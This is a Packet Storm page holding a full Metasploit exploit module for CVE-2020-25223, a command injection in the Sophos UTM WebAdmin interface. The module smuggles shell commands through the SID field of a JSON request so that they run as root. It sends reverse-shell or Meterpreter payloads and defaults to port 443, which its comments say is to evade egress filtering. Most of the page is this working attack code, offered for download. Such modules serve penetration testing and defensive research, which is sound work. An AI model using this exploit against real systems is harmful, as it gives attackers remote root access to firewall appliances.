exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Sophos UTM WebAdmin SID Command Injection

Sophos UTM WebAdmin SID Command Injection
Posted Oct 28, 2021
Authored by wvu, Justin Kennedy | Site metasploit.com

This Metasploit module exploits an SID-based command injection in Sophos UTM's WebAdmin interface to execute shell commands as the root user.

tags | exploit, shell, root
advisories | CVE-2020-25223
SHA-256 | e60408784254ddfee031c720b657d15c09df5d27e903311833f4a7f181588725

Sophos UTM WebAdmin SID Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sophos UTM WebAdmin SID Command Injection',
'Description' => %q{
This module exploits an SID-based command injection in Sophos UTM's
WebAdmin interface to execute shell commands as the root user.
},
'Author' => [
# Discovered by unknown researcher(s)
'Justin Kennedy', # Analysis and PoC
'wvu' # Supplementary analysis and exploit
],
'References' => [
['CVE', '2020-25223'],
['URL', 'https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce'],
['URL', 'https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223'],
['URL', 'https://attackerkb.com/assessments/d6e0dff3-dd46-4f19-831d-c3f3f2fa972a']
],
'DisclosureDate' => '2020-09-18',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 4444,
'LPORT' => 443, # XXX: Bypass Sophos UTM's egress filtering
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [FIRST_ATTEMPT_FAIL],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def stopwatch
# https://blog.dnsimple.com/2018/03/elapsed-time-with-ruby-the-right-way/
start = Process.clock_gettime(Process::CLOCK_MONOTONIC)
ret = yield
elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - start

[ret, elapsed]
end

def check
sleep_time = rand(5..10)

injected, elapsed_time = stopwatch do
inject_cmd("sleep #{sleep_time}", timeout: sleep_time * 1.5)
end

return CheckCode::Unknown if injected.nil?

vprint_status("Elapsed time: #{elapsed_time} seconds")

# injected == false
unless injected && elapsed_time > sleep_time
return CheckCode::Safe('Failed to test command injection.')
end

# injected == true
CheckCode::Appears('Successfully tested command injection.')
end

def exploit
unless datastore['LPORT'] == 443
print_warning('LPORT=443 is recommended to bypass egress filtering')
end

print_status("Executing #{payload_instance.refname} (#{target.name})")

case target['Type']
when :cmd
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
# nil or true on success
if inject_cmd(cmd) == false
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
end
end

def inject_cmd(cmd, timeout: 3.5)
vprint_status("Injecting command: #{cmd}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'var'),
'ctype' => 'application/json; charset=UTF-8', # NOTE: charset is required
'data' => {
'SID' => "|#{cmd}|" # https://perldoc.perl.org/functions/open#Opening-a-filehandle-into-a-command
}.to_json
}, timeout)

return unless res
return false unless res.code == 200 && res.body.include?(alert_msg)

true
end

def alert_msg
# {"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}
'Backend connection failed, please click Shift-Reload to try again.'
end

end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close